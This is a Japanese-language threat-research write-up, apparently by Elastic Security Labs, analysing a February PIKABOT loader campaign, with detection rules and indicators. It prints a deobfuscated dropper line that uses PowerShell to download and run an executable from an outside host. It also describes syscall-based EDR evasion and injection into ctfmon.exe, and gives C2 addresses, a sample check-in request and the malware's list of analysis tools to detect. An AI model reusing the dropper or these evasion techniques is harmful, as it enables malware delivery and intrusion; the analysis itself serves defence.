PIKABOTの概要
PIKABOTは、Cobalt Strikeなどのペイロードを配布したり、ランサムウェアを起動したりするために、悪意のある攻撃者が利用する広く展開されているローダーです。 2月8日、Elastic Security Labsチームは、アップデートされた亜種を含む新しいPIKABOTキャンペーンを観測しました。 このバージョンのPIKABOTローダーは、新しい解凍方法と高度な難読化を使用しています。 コアモジュールには、新しい文字列復号化の実装、難読化機能の変更、およびその他のさまざまな変更が追加されています。
この記事では、最初のキャンペーンに焦点を当て、新しいローダー機能を分析し、コアコンポーネントを確認します。 この新しいアップデートには興味深い設計上の選択肢があり、これは時間の経過とともにさらに改善される新しいコードベースの始まりであると考えています。 機能は以前のビルドと似ていますが、これらの新しい更新プログラムでは、シグネチャと以前のツールが壊れている可能性があります。
この調査の開発中に、ゼットスケーラーのThreatLabzチームは、この記事で紹介したサンプルと重複するサンプルについて、優れた 分析 と洞察を公開しました。 これらのPIKABOTの変更を包括的に理解するために、彼らの研究を私たちの研究と一緒に読むことをお勧めします。
重要なポイント
- PIKABOTローダーとコアコンポーネントの大幅な更新を含む新しいキャンペーン
- PIKABOTローダーは、
.data
セクションからbase64形式で散らばった暗号化されたデータのチャンクを組み合わせる新しい解凍技術を使用しています - コアの変更点には、トーンダウンされた難読化とインラインRC4機能、実行時のプレーンテキスト設定、ネットワーク通信中のAESの削除が含まれます
- PIKABOTの開発は進行中のようで、将来のアップデートが間近に迫っている可能性があります
- Elasticセキュリティを使用したコールスタックの可視化により、PIKABOTのような脅威を迅速にトリアージできます
PIKABOTキャンペーン概要
新年を迎えるにあたり、PIKABOTの配布は約2週間前まで休止状態が続いていました。 2月8日のこの新しいキャンペーンには、悪意のある難読化されたJavascriptスクリプトを含むZIPアーカイブファイルにつながるハイパーリンクを含む電子メールが含まれていました。
以下は難読化されたJavaScriptファイルの内容で、次にPowerShellを使用してPIKABOTのローダーをダウンロードして実行するシーケンスを示しています。
// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
var obj = new ActiveXObject("WScript.Shell")
obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}
PIKABOTローダー
ローダーステージ1
本物に見えるように、開発者はこのリポジトリからgrepWinNP3.exe
と呼ばれる正当な検索および置換ツールを改ざんしました。社内のサンドボックスプロジェクト(Detonate)を使用し、Elastic Defendの コールスタック機能 を活用することで、実行の詳細なトレースが得られ、悪意のあるコードのエントリポイントを特定することができました。
コールスタックデータの分析により、悪意のあるファイル内のオフセット 0x81aa7
前のコールから実行が開始されていることがわかります。その後、実行は offset 0x25d84
の前の呼び出しでのメモリ割り当てにジャンプします。 さらに、プロセス作成のコールスタックには、バッキングされていないメモリに存在するシェルコード実行を介したシステムコールが使用されているため、KernelBase.dll!CreateProcessInternalW
およびntdll.dll!NtCreateUserProcess
への通常の呼び出しが欠落していることが観察されました。この実装を使用すると、WOW64 モジュールのユーザー モード フックをバイパスして、EDR 製品を回避できます。
悪意のあるファイルのオフセット 0x81aa7
を調査し、検証された無害な grepWinNP3.exe
ファイルと並べてコード比較を行ったところ、PIKABOTローダーを実行するためのハードコードされたアドレスがPIKABOTローダーのエントリーポイントを示しているという、明確で珍しいものを特定しました。
悪意のあるコードは、各アセンブリ命令の後にジャンプ(JMP
)が続く手法を利用して、高度な難読化を採用しています。 このアプローチは、実行の単純なフローを中断することにより、分析を大幅に複雑にします。
ローダーは、.text
セクションからステージ 2 ペイロードを抽出し、0x94
バイトのチャンクで格納してから、ピースを統合します。次に、ビット単位の演算を利用する、一見カスタムの復号化アルゴリズムを採用しています。
プロセスの次のステップは、現在実行中のプロセスの範囲内でPEファイルを反射的にロードすることです。 この手法では、PE ファイルの内容をメモリに動的に読み込み、ファイルを物理的にディスクに書き込むことなく実行します。 この方法は、外部ファイル操作の必要性を排除することで実行プロセスを合理化するだけでなく、ホストシステムに残されたデジタルフットプリントを最小限に抑えることでステルス性を大幅に向上させます。
ローダーステージ2
ステージ 2 ローダーは、新たに確立されたプロセス内でPIKABOTコアを初期化する任務を負い、コア自体に見られるものと同様のコードと文字列の難読化技術を組み合わせて使用します。 難読化機能に加えて、ローダーには一連の高度なデバッグ対策が組み込まれています。
アンチデバッグ
このマルウェアは、デバッガーの検出、プロセスの作成、インジェクションなどのさまざまな操作に特定のNTDLL Zw
APIを利用し、検出メカニズムのレーダーの下にとどまり、EDR(Endpoint Detection and Response)ユーザーランドフックを回避し、デバッグの試みを行うことを目的としています。
システムコールを直接実行し、監視や傍受の影響を受けやすい従来のAPIコールをバイパスします。 これは、 Zw
API 名のハッシュをパラメーターとして受け取る 64 ビット モードでのシステムコールの実行を容易にするラッパー関数を使用します。
ラッパー関数は、読み込まれた NTDLL を解析し、 Zw
関数名のハッシュを照合することで、システムコール ID を抽出します。 正しいシステムコール ID を見つけた後、 Wow64Transition
Windows API を使用して 64 ビット モードでシステムコールを実行します。
必要なパラメータは、ラッパーが呼び出される前にスタックにプッシュされることに注意してください。次の例では、ProcessInformationClass
を ProcessDebugPort
(7) に設定した ZwQueryInformationProcess
呼び出しを示しています。
このマルウェアは、デバッグツールとフォレンジックツールによる検出を阻止するように設計された一連のデバッグ対策技術を採用しています。 これらの手法には、次のものが含まれます。
SystemKernelDebuggerInformation
パラメーターを使用してZwQuerySystemInformation
を呼び出して、カーネル デバッガーの存在を検出します。ProcessInformationClass
をProcessDebugPort
に設定してZwQueryInformationProcess
を呼び出すと、プロセスに関連付けられているデバッグ ポートが識別されます。ZwQueryInformationProcess
を再度呼び出しますが、ProcessInformationClass
をProcessDebugFlags
パラメーターに設定して、プロセスにデバッグのフラグが設定されているかどうかを確認します。- プロセス環境ブロック (PEB) で、プロセスが現在デバッグ中かどうかを示す
BeingDebugged
フラグを検査します。 GetThreadContext
を使用してハードウェアブレークポイントを検出します。現在実行中のプロセスのリストをスキャンして、アクティブなデバッグツールまたはフォレンジックツールを特定します。
興味深いことに、チェックするプロセス名の一部が最初のバイトがゼロになっているバグを発見しました。これは、マルウェアの作成者によるミスや、難読化ツールによって追加された望ましくない副作用を示唆している可能性があります。 チェックされるプロセス名の完全なリストは、この記事の最後にあります。
実行
ローダーは、NTDLL ライブラリと KERNEL32 ライブラリからの重要な API のアドレスをグローバル変数に入力します。 この手順は、これらのアドレスが後続のタスクを実行するために必要であるため、マルウェアの操作にとって極めて重要です。 ローダーは、以前に Zw
API で使用されていたものとは異なる、異なる API 名ハッシュ アルゴリズムを採用していることに注意してください。
以下は再構築された構造です。
struct global_variable
{
int debugger_detected;
void* LdrLoadDll;
void* LdrGetProcedureAddress;
void* RtlAllocateHeap;
void* RtlFreeHeap;
void* RtlDecompressBuffer;
void* RtlCreateProcessParametersEx;
void* RtlDestroyProcessParameters;
void* ExitProcess;
void* CheckRemoteDebuggerPresent;
void* VirtualAlloc;
void* GetThreadContext;
void* VirtualFree;
void* CreateToolhelp32Snapshot;
void* Process32FirstW;
void* Process32NextW;
void* ntdll_module;
void* kernel32_dll;
int field_48;
uint8_t* ptr_decrypted_PIKABOT_core;
int decrypted_PIKABOT_core_size;
TEB* TEB;
};
ローダー構造
その後、マルウェアは、 .data
セクションに散らばっているPIKABOTコアのバイトをbase64でエンコードされたチャンクに統合しますが、これは、リソースセクションから一連のPNGをロードした以前のバージョンと比較すると注目に値します。
9つの異なる関数のシーケンスを実行し、それぞれが同様の操作を実行しますが、引数は異なります。 各関数は、正当に見える文字列を利用するインライン プロセスを使用して RC4 キーを復号化します。 その後、関数はバイトを復号化する前に各チャンクを base64 でデコードします。
復号化されたバイトを統合した後、 RtlDecompressBuffer
API を使用してそれらを解凍します。
ローダーは、正当な Windows プロセスに見せかけるように設計された戦術である ZwCreateUserProcess
syscall を使用して、ctfmon.exe
の中断されたインスタンスを作成します。次に、 ZwAllocateVirtualMemory
システムコールを介して大きなメモリ領域をリモートで割り当て、PIKABOTコアのPEファイルを格納します。
その後、ローダーは ZwWriteVirtualMemory
システムコールを使用して、新しく割り当てられたメモリ領域に PIKABOT コアを書き込みます。 次に、SetContextThread
APIを呼び出してスレッドの実行アドレスを変更することにより、実行フローをctfmon.exe
から悪意のあるPIKABOTコアにリダイレクトします。最後に、 ZwResumeThread
システムコールでスレッドを再開します。
PIKABOTコア
更新されたPIKABOTコアの全体的な動作と機能は以前のバージョンと似ています:ボットは被害者のマシンから初期データを収集し、脅威アクターにコマンド&コントロールアクセスを提供して、コマンドラインの実行、検出、インジェクションによる追加のペイロードの起動などの侵害後の動作を可能にします。
主な違いは次のとおりです。
- インライン機能が少ない新しい難読化スタイル
- 文字列の復号化のための複数の実装
- 実行時のプレーンテキスト設定、JSON形式の削除
- ネットワーク通信はRC4とバイトスワッピングを使用し、AESを削除します
難読 化
最も明白な違いの1つは、PIKABOTの難読化に集中しています。 このバージョンには、難読化が大幅に少ないバイナリが含まれていますが、古いバージョンに馴染みのある感触を提供します。 インラインRC4関数の集中砲火の代わりに、新しいアップデート後に残っているのはわずかです。 残念ながら、グローバル変数とジャンク命令にはまだ多くの難読化が適用されています。
以下は、分析時間を延長して混乱を招くためだけに、実際のマルウェアのコードの間にジャンクコードが挿入される典型的な例です。
文字列の復号化
前述のように、文字列の復号化に使用されるインラインRC4関数はまだいくつかあります。 以前のバージョンでは、コアは base64 エンコードを追加の手順として使用し、AES と RC4 を使用して文字列を隠していました。このコアバージョンでは、文字列の復号化にbase64エンコーディングやAESが使用されているのは見たことがありません。
これは、ハードコードされたミューテックスの暗号化を解除するために使用される残りのインライン RC4 関数のインスタンスです。 このバージョンでは、PIKABOTは、データを復号化するためのRC4キーとして、正当な文字列の商標の使用を続けています。
この新バージョンでは、PIKABOTはスタック文字列を使用し、個々の文字をランダムな順序で配列に配置することにより、文字列の難読化のための異なる実装を含んでいます。 以下は、 netapi32.dll
を使用した例です。
アンチデバッグ
このバージョンのアンチデバッグに関しては、PIKABOTはCheckRemoteDebuggerPresent
を使用してPEBのBeingDebuggedFlag
をチェックします。このサンプルでは、デバッガーがアタッチされている場合、ハードコーディングされた値 (0x2500
) が返されます。 残念ながら、これらのチェックは 1 か所ではなく、ネットワーク要求が行われる直前など、バイナリ全体のさまざまな場所に散らばっています。
実行
実行と全体的な動作に関しては、PIKABOTのコアは古いバージョンの実行フローに密接に従っています。 実行時に、PIKABOTはPEBを解析し、APIハッシュを使用して実行時に必要なライブラリを解決します。 次に、 GetUserDefaultLangID
を使用して言語識別子を検証し、被害者のマシンを検証します。 LangID
がロシア語(0x419
)またはウクライナ語(0x422
)に設定されている場合、マルウェアはすぐに実行を停止します。
言語チェックの後、PIKABOTは同じマシンでの再感染を防ぐためにミューテックスを作成します。 このサンプルでは、次のミューテックスを使用しました。 {6F70D3AF-34EF-433C-A803-E83654F6FD7C}
次に、マルウェアは、システムボリューム番号とホスト名およびユーザー名を組み合わせて、被害者のマシンからUUIDを生成します。 その後、PIKABOTは RtlRandomEx
によってシードされた一意のRC4キーを生成し、そのキーをコンフィグストラクチャーに配置して、後でネットワーク通信中に使用されます。
初期コレクション
次のフェーズでは、被害者のマシン情報を収集し、そのデータをカスタム構造に配置し、最初のチェックインリクエスト後に暗号化して送信します。 次のアクションは、被害者とそのネットワークをフィンガープリントして識別するために使用されます。
- PIKABOTスレッドに関連付けられたユーザーの名前を取得します
- コンピューター名を取得します
- プロセッサ情報を取得する
- を使用してデバイス情報をつかみます
EnumDisplayDevicesW
- を使用してドメイン コントローラー情報を取得します
DsGetDcNameW
- 物理メモリと仮想メモリの現在の使用状況を収集
GlobalMemoryStatusEx
- サンドボックス環境の識別に使用される
GetWindowRect
を使用してウィンドウのサイズを取得します - Windows OSの製品情報を
RtlGetVersion
CreateToolhelp32Snapshot
を使用してプロセス情報を取得する
Config
この新しいバージョンで奇妙な開発上の決定事項の1つは、マルウェアの構成に関するものです。 実行時には、設定はプレーンテキストで、メモリ内の 1 つの場所に配置されます。 これは最終的にメモリ内で消去されます。 以前のバージョンでは設定が保護されていたため、これは一時的なものに過ぎず、蔓延しているマルウェアファミリーに対処する際の標準的な期待値になっていると考えています。
ネットワーク
PIKABOTは、User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
を使用して、非伝統的なポート(2967、2223など)でHTTPS経由でネットワーク通信を行います。 PIKABOTコアモジュールのビルド番号は、構成から連結され、暗号化されたネットワークリクエスト内で渡されていることを見つけることができ、分析したバージョンには 1.8.32-beta
というラベルが付けられています。
このC2サーバーへの最初のチェックインリクエストで、PIKABOTはボットを登録し、以前に収集した情報をRC4で暗号化して送信します。 RC4 キーは、この初期パケットでオフセット(0x10
)で送信されます。 前述のように、PIKABOTはネットワーク通信でAESを使用しなくなりました。
POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967
00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
PIKABOTの初回チェックインリクエスト
送信ネットワークリクエストごとに、PIKABOTは次のURIのいずれかをランダムに選択します。
/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
PIKABOT C2リクエストで使用されるURIのリスト
被害者のデータがJSONを使用して構造化された形式で配置されていた以前のバージョンとは異なり、これらのリクエスト内のデータは生のバイトです。 最初の 16 バイトは、特定の設定情報 (ボット コマンド ID、バイト シフトなど) を渡すために使用されます。 次の 32 バイトには、セッションの RC4 キーが埋め込まれ、暗号化されたデータが要求に続きます。
開発者が実行時に発生するバイトのランダムなシフトを追加した変換が 1 つあります。 次の要求例のオフセット (0xF
) にあるこの数値 (0x18
) は、暗号化データの終わりから暗号化されたデータの先頭にシフトするバイト数を表しています。この例では、データを正常に復号化するには、最後の 18 バイトをバイトの前に配置する必要があります (0xDA 0x9E
)。
ボット機能
ボットのコア機能に関しては、以前のバージョンと似ています。コマンドの実行、ディスカバリーの実行、プロセスインジェクション機能などです。 私たちの視点から見ると、それはまだ進行中の作業のように思えます。 1 つのコマンド ID (0x982
) は空の関数であり、別のケースでは、同じ関数を指す 3 つの一意のコマンド ID があります。 これらは、このソフトウェアが完全に完全ではないことを示しています。
コマンド ID | 説明 |
---|---|
0x1FED | ビーコンのタイムアウト |
0x1A5A | PIKABOTプロセスを終了します |
0x2672 | 難読化が含まれていますが、意味のあることは何もしていないようです |
0x246F | ディスク上にファイルを作成し、構成に関連付けられたレジストリを変更します |
0xACB | 出力を使用したコマンドライン実行 |
0x36C | リモートプロセスでのPE注入 |
0x792 | リモートプロセスへのシェルコードインジェクション |
0x359、0x3A6、0x240 | 0xACB と同様のコマンドライン実行で、カスタムエラーコード(0x1B3)を使用 |
0x985 | プロセス列挙 (最初の被害者コレクション列挙と同様) |
0x982 | 空の関数 |
マルウェアと MITRE ATT&CK
Elasticは、 MITRE ATT&CK フレームワークを使用して、企業ネットワークに対してAdvanced Persistent Threatが使用する一般的な戦術、手法、手順を文書化しています。
戦術(Tactics)
戦術は、テクニックまたはサブテクニックの 理由 を表します。 それは敵の戦術的な目標であり、行動を実行する理由です。
手法
手法は、敵対者がアクションを実行することによって戦術的な目標を達成する方法を表します。
マルウェアの検出
予防
- ネットワークモジュールが疑わしいバックアップされていないメモリからロードされました
- Low Reputation Moduleからのシェルコード実行
- 不審なメモリがリモートプロセスに書き込まれました
- 疑わしいリモート メモリ割り当て
- 通常とは異なる緩和策によるプロセス作成
- Windows.Trojan.PikaBot
ヤラ
Elasticセキュリティは、このアクティビティを識別するためのYARAルールを作成しました。 以下は、PIKABOTを識別するためのYARAルールです。
rule Windows_Trojan_Pikabot_5441f511 {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT core"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
$api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
$debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
$checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
condition:
2 of them
}
rule Windows_Trojan_Pikabot_95db8b5a {
meta:
author = "Elastic Security"
creation_date = "2024-02-15"
last_modified = "2024-02-15"
license = "Elastic License v2"
description = "Related to PIKABOT loader"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.PIKABOT"
strings:
$syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
$syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
$load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
$payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
$loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
condition:
2 of them
}
観測
すべてのオブザーバブルは、ECS形式とSTIX形式の両方で ダウンロード することもできます。
この研究では、次の観測量について議論しました。
Observable | タイプ | 名前 | 参考 |
---|---|---|---|
2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b | SHA-256の | Opc.zip | 難読化されたJavascriptを保持するZipアーカイブ |
ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d | SHA-256の | grepWinNP3.exe | PIKABOTローダー |
139.84.237[.]229:2967 | IPv4-アドレス | PIKABOT C2サーバー | |
85.239.243[.]155:5000 | IPv4-アドレス | PIKABOT C2サーバー | |
104.129.55[.]104:2223 | IPv4-アドレス | PIKABOT C2サーバー | |
37.60.242[.]85:9785 | IPv4-アドレス | PIKABOT C2サーバー | |
95.179.191[.]137:5938 | IPv4-アドレス | PIKABOT C2サーバー | |
65.20.66[.]218:5938 | IPv4-アドレス | PIKABOT C2サーバー | |
158.220.80[.]157:9785 | IPv4-アドレス | PIKABOT C2サーバー | |
104.129.55[.]103:2224 | IPv4-アドレス | PIKABOT C2サーバー | |
158.220.80[.]167:2967 | IPv4-アドレス | PIKABOT C2サーバー | |
entrevientos.com[.]ar | ドメイン | zipアーカイブのホスティングインフラ | |
gloverstech[.]com | ドメイン | PIKABOTローダーのホスティングインフラ |
参照資料
上記の研究を通じて、以下のことが参照されました。
- https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
- https://x.com/Cryptolaemus1/status/1755655639370514595?s=20
付記
Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe
x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe
PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe
ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe